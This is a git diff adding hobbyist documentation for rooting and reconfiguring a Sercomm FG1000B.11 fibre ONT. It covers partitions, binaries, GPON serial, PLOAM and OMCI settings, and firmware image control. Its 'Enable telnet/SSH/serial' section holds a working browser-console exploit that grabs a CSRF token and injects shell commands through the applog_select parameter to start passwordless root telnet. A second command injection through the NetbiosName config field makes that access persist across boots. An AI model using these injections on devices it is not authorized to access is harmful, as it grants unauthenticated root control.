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diff --git a/_ont/ont-sercomm-fg1000b-11.md b/_ont/ont-sercomm-fg1000b-11.md index fd0a4b1..f96aa01 100644 --- a/_ont/ont-sercomm-fg1000b-11.md +++ b/_ont/ont-sercomm-fg1000b-11.md @@ -44,14 +44,171 @@ The ONT seems only to display output of the ROM CFE and flash CFE, but don't all {% include serial_dump.html file="fg1000b-11_boot_cfe.txt" alt="Sercomm FG1000B.11 CFE boot dump" title="Sercomm FG1000B.11 CFE boot dump" %} +## Root procedure +[See how the enable telnet/ssh section](/ont-sercomm-fg1000b-11/#enable-telnetsshserial) + ## List of software versions Current only version seen is: 090144.1.0.001 +## List of partitions +`cat /proc/mtd` + +| dev: | size | erasesize | name | +| ------ | -------- | --------- | -------------------- | +| mtd0: | 00200000 | 00020000 | "CfeROM | +| mtd1: | 00400000 | 00020000 | "CfeRAM1 | +| mtd2: | 00400000 | 00020000 | "CfeRAM2 | +| mtd3: | 000a0000 | 00020000 | "FlashMAP | +| mtd4: | 000a0000 | 00020000 | "SN | +| mtd5: | 00140000 | 00020000 | "Protect | +| mtd6: | 01b80000 | 00020000 | "Rootfs1 | +| mtd7: | 00c80000 | 00020000 | "Lib1 | +| mtd8: | 01b80000 | 00020000 | "Rootfs2 | +| mtd9: | 00c80000 | 00020000 | "Lib2 | +| mtd10: | 000a0000 | 00020000 | "Bootflg | +| mtd11: | 000a0000 | 00020000 | "Rootfs1_Info | +| mtd12: | 000a0000 | 00020000 | "Lib1_Info | +| mtd13: | 000a0000 | 00020000 | "Rootfs2_Info | +| mtd14: | 000a0000 | 00020000 | "Lib2_Info | +| mtd15: | 00280000 | 00020000 | "XMLConfig | +| mtd16: | 00280000 | 00020000 | "Erasable_XML_CFG | +| mtd17: | 00960000 | 00020000 | "AppData | +| mtd18: | 00140000 | 00020000 | "Yaffs | +| mtd19: | 010c0000 | 00020000 | "Reserve | +| mtd20: | 00930000 | 0001f000 | "rootfs_ubifs | +| mtd21: | 0029bf98 | 0001f000 | "filestruct_full.bin | +| mtd22: | 003bd000 | 0001f000 | "lib_squashfs | + +# Useful files and binaries + +{% include alert.html content="NanD MTD 5 mounted as `/tmp/var_link_dir/ft` contains all serials and mac address of the ONT, please consider backup before any hack, files are: `customer_sn,gpon_sn,hw_version,mac_addr,pcba_sn`" alert="Warning" icon="svg-warning" color="red" %} + +{% include alert.html content="Calling the `board_init` binary directly or indirectly (via init script) when the board is already booted will cause NAND mtd 5, 15, 16 & 17 to be erased! +Please backup those before any hacking! Recovery is possible if you hardware reset the device, enable the telnet and recreate the `customer_sn, gpon_sn, hw_version, mac_addr, pcba_sn` file on the `/tmp/var_link_dir/ft` volume which can be remount R/W `mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft`." alert="Warning" icon="svg-warning" color="red" %} + +## Useful files +* `/etc/framework_init.sh` - is the main entry for sercomm framework launch by `/etc/rcS` + +## Useful binaries +* `pb_ap` - monitoring the `reset button`, if pushed more than 10s it reset to factory default, otherwise it reboot the device - Run at startup - no args + +* `fw_image_ctl` - allow firmware info, upgrade, switch between `fw0` & `fw1`, replicate between fw, desactivate image etc... - Options listes when called woth no args + +* `cmld_client`- manipulate the configuration 'DB' stored in a /dev/mtd15, output is XML format. The root element is "InternetGatewayDevice" you need to use a final '.' dot to list all sub-element. example to get the full device XML config ```cmld_client get_node InternetGatewayDevice.```. Element with `writable="1"` can be changed with `set` and the node path. Element marked `dynamic="1"` have their value evaluated at the time you specifically call get on the node, `cmld_client get InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.Status` - The daemon is run at startup - option list whe called with no args + +* `cmd_agent` - is a strange daemon launch at startup during `/etc/rcS` that open a `/tmp/cmd_client` sock file that listen to command and execute them. - No args + +* `statd` - is a daemon launch at boot which collect monitoring data from the ONT. - No args + +* `ubusd` - ubusd is used to send message between processes, current ubus services are `cml,network-manager,smd` + +* `smd` - is the daemon in charge of launching `/opt/` plugin for each of the ONT service like: `init, gpon, iptv, temperature, account, http, lan, network, syslog, system`. All is done in code which is not helping hacking the device. + +# Usage + +## Enable telnet/SSH/serial + +Below code can be pasted in the browser console after loading the `http://192.168.100.1` (default ONT page). This will enable telnet as root with no password on the device (same can be done with `/usr/sbin/sshd` binary). The below hack uses an injection on the `eventlog_applog_download.json` page, command can be injected in the request body `applog_select` parameter and are executed as superadmin (root). +```javascript +// Fetch a non csrf protected page to get a csrf token +await fetch("http://192.168.100.1/setup.cgi?next_file=statusandsupport/status.html").then(function (response) { + return response.text(); +}).then(function (html) { + //inject the html response into a HTML DOM to parse it + var el = document.createElement( 'html' ); + el.innerHTML = html; + //The token is inserted into the first <script> tag of the page + var es = el.getElementsByTagName( 'script' ); + var aText = es[0].text; + //Add the csrf token in the document for other requests + document.csrf_token = aText.match("'(.*)'")[1]; +}).catch(function (err) { + console.warn('Something went wrong.', err); +}); + +//use the csrf token to activate telnet with no login and a shell + +fetch('http://192.168.100.1/data/statussupporteventlog_applog_download.json?_=1686211215966&csrf_token='+document.csrf_token, { + method: 'POST', + headers: { + 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' + }, + body: 'applog_select=a;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin' +}) +.then(res => res.json()) +.then(console.log) +``` + +There is a way to make a script call at boot if you want to have telnet or other service started at boot. It uses a hack from libsl_system.so where there is a `system(...)` call using a String from config, string must be <=12 char, the system call is supposed to set set hostname of the device for storage sharing. +In the example below you would first creat a `/data/up` shell script and ensure it has execute rights (ex: `chmod 755`) +``` +#first we need to add the missing entry +/usr/bin/cmld_client add InternetGatewayDevice.Services.StorageService. 1 +#then inject within the 12 character limit the hostname and a call to our script +/usr/bin/cmld_client set InternetGatewayDevice.Services.StorageService.1.X_SC_NetbiosName='a;/data/up&' +/usr/bin/cmld_client save +``` + +## Log configuration +`syslogd` is configure via Config DB config `cmld_client get_node InternetGatewayDevice.X_SC_Management.Syslog.` this config is read from the libsl_syslog.so plugin of smd daemon, which generate the file `/tmp/lxxd/logd.conf` and start the daemon with it as parameter. + +# GPON ONU status + +## Get the operational status of the ONU +``` +/bin/gponctl getState +``` + +## Get information of the OLT vendor +``` +/usr/sbin/umci_ctl stack get olt_type +``` +or +``` +/usr/sbin/umci_ctl rg help +``` + +## Querying a particular OMCI ME +``` +/usr/sbin/umci_ctl mib +``` + +## Getting/Setting Speed LAN Mode + # GPON/OMCI settings + +Part of GPON config is done via the misc configuration loaded as first lib by the smd binary, config can be seens here: +``` +/usr/bin/cmld_client get_node InternetGatewayDevice.X_SC_MiscCfg.GPON. +``` +Beware the field `OmciManageUniMask`, `PretendFwVersion` are initiated in the binary with respective value `01000000`, `0` + +## Getting/Setting ONU GPON Serial Number +Default value: 16 hex chars on the back of the ONT, starts with `53434F4DA`. The default S/N is the Modem-ID on the sticker. +You can test serial and/or ploam combinaison using with below command. Pwd is Hexe only and can be up to 36. +``` +/bin/gponctl stop +/bin/gponctl setSnPwd --pwd 00-00-0X-XX-XX-XX-XX-XX-XX-XX --sn YY-YY-YY-YY-YY-YY-YY-YY +/bin/gponctl start +``` + +You can monitor status by running: +``` +/bin/gponctl getstate +``` + +To save the serial number you need to re-mount R/W the `/tmp/var_link_dir/ft` and change the `gpon_sn` file (consider backup of the folder before ANY action) +``` +/bin/mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft +echo "XXXXXXXXXXXXX" > /tmp/var_link_dir/ft/gpon_sn +/bin/mount -o remount,ro /dev/mtdblock5 /tmp/var_link_dir/ft +/sbin/reboot +``` + ## Getting/Setting ONU GPON PLOAM password -PLOAM can be set directly for Text or Hexa(without 0x) via Web interface if <10 digit otherwise POST call to URL allow > 10 digits for example 20 digit hex can be setup via: +PLOAM can be set directly for Text or Hexa (without `0x`) via Web interface if < 10 digit otherwise POST call to URL allow > 10 digits for example 20 digit hex can be setup via (max is 36 digit): ``` curl -i -s -k -X $'POST' -H $'Content-Type: application/x-www-form-urlencoded' \ @@ -60,6 +217,106 @@ curl -i -s -k -X $'POST' -H $'Content-Type: application/x-www-form-urlencoded' \ $'http://192.168.100.1/ONT/client/data/Router.json' ``` +Or via command line with: +``` +/usr/bin/cmld_client set InternetGatewayDevice.WANDevice.1.X_SC_GponInterfaceConfig.X_SC_Password=00000XXXXXXXXXXXXXXX +/usr/bin/cmld_client save +``` + +## Getting/Setting ONU GPON LOID and LOID password +{% include alert.html content="Not tested but seems used by the misc config at smd init" alert="Warning" icon="svg-warning" color="red" %} + +``` +/usr/bin/cmld_client set InternetGatewayDevice.X_SC_MiscCfg.GPON.LoIdPassword= + +/usr/bin/cmld_client set InternetGatewayDevice.X_SC_MiscCfg.GPON.LoId= +``` + +## Getting/Setting OMCI software version (ME 7) +{% include alert.html content="`get` works, `set` is not tested but seems used by the misc config at smd init" alert="Warning" icon="svg-warning" color="red" %} + +``` +/usr/bin/cmld_client get InternetGatewayDevice.X_SC_MiscCfg.GPON.OmciVersion +``` +or via umci_ctl get/set tool (not tested if config overwrite umci or the other way around) +``` +/usr/sbin/umci_ctl mib get 7 +``` + +## Getting/Setting OMCI hardware version (ME 256) +Default value: `Glasfaser.DTV1` +``` +/bin/mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft +echo "XXXXXXXXXXXXX" > /tmp/var_link_dir/ft/hw_version +/bin/mount -o remount,ro /dev/mtdblock5 /tmp/var_link_dir/ft +reboot +``` +## Getting/Setting OMCI vendor ID (ME 256) +Default value: `53434F4D` +{% include alert.html content="`set` option is available with `Class_id`, `Entity_id`, `Index` and `Value` parameters, not tested." alert="Warning" icon="svg-warning" color="red" %} + +``` +/usr/sbin/umci_ctl mib get 256 +``` + +## Getting/Setting OMCI equipment ID (ME 257) +{% include alert.html content="`set` option is available with `Class_id`, `Entity_id`, `Index` and `Value` parameters, not tested." alert="Warning" icon="svg-warning" color="red" %} + +``` +/usr/sbin/umci_ctl mib get 256 +``` + +# Advanced settings + +## Transferring files to the stick +Since neither `netcat`/`nc` nor `ftp`/`sftp`/`ftps` are available the best option is to use `curl` to download file from a webserver on your network over HTTP only. +Additionaly you can add a arm full version of `busybox` in the /data partition and then use `nc` to pipe data in and out of the device. + +## Backup of all partition +You can use `dd` which is available on the device/default busybox to backup the efull nand via `/dev/mtd` + +## Checking the currently active image +``` +/usr/sbin/fw_ctl -s +``` +Output information about the firmware including a `current running fw` line + +## Booting to a different image +``` +/usr/sbin/fw_ctl -c X +``` +Where `X` is <0|1|3> set commit image, 3: commit current fw + +## Cloning of image 0 into image 1 +``` +/usr/sbin/fw_ctl -r XXXX +``` +Where `XXX` is <fw|lib> copy type <fw|lib> from current fw to backup fw + +## Setting management MAC +``` +/bin/mount -o remount,rw /dev/mtdblock5 /tmp/var_link_dir/ft +echo "A095XXXXXXXX" > /tmp/var_link_dir/ft/mac_addr +/bin/mount -o remount,ro /dev/mtdblock5 /tmp/var_link_dir/ft +/sbin/reboot +``` +The format is 12 hex digit without `0x` nor `:` + +## Setting management IP +``` +/usr/bin/cmld_client set InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceIPAddress=192.168.100.1 +/usr/bin/cmld_client save +``` + +## Rebooting the ONU +Either via the public WebUi `http://192.168.100.1/ONT/client/html/content/config/problem_handling.html?lang=en`, `Reboot` boutton +or +``` +/sbin/reboot +``` +# Known Bugs +It seems the `cmld_client get` can't return string values longer than 12 characters even for fields type mentioning string length. A walkaround is to use the `get_node` on the parent element to get proper value ouput. + # Miscellaneous Links - [FG1000B.11 - lafibre.info](https://lafibre.info/remplacer-bbox/test-glasfaser-modem-2-telekom-pour-remplacement-ont-2-5gbe-synchro-ok-ipv4-ok/) @@ -69,4 +326,6 @@ curl -i -s -k -X $'POST' -H $'Content-Type: application/x-www-form-urlencoded' \ - 1&1 Glasfaser Modem - Telekom Glasfaser Modem 2 +# Credits +This whole documentation here was made possible by reverse engineering, and time investment from @hwti and the rest of the folks from the forum mention in the links section of the page. Thanks a lot! |